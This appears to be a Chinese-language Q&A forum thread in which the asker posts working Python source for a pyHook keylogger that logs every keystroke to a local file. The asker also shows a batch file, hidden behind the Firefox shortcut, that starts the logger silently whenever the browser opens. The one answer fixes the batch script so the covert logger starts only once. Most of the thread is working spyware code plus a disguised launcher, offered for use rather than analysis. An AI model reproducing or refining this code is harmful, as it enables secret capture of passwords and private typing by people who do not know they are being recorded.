如果脚本已在运行,则不执行Python脚本
我按照这个视频的教程,做了一个简单的Python键盘记录程序。下面是这个.pyw
文件的内容:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Python27\\logger.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
这个程序在我使用Firefox的时候会悄悄运行,因为Firefox的快捷方式调用了一个批处理文件,里面包含了:
@echo off
tasklist /FI "IMAGENAME eq c:\Python27\keylogger.pyw" 2>NUL | find /I /N "c:\Python27\keylogger.pyw">NUL
if not "%ERRORLEVEL%"=="0" start "" "c:\Python27\keylogger.pyw" #doesn't work
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
我的问题是,如果我多次打开Firefox(这很常见),这个脚本就会再次运行并重复自己,这样我在日志文本文件中就会得到这样的结果。
g
g
o
o
o
o
g
g
l
l
e
e
我需要一个if
条件,确保这个脚本如果已经在运行,就不再运行。
1 个回答
0
试试这个:
@echo off
for /f "tokens=1 delims= " %%a in ('tasklist /v ^| findstr "keylogger"') do set running_check=%%a
if not defined running_check start "" "c:\Python27\keylogger.pyw"
start "" "c:\Program Files (x86)\Mozilla Firefox\firefox.exe"
补充说明:修正了for循环的部分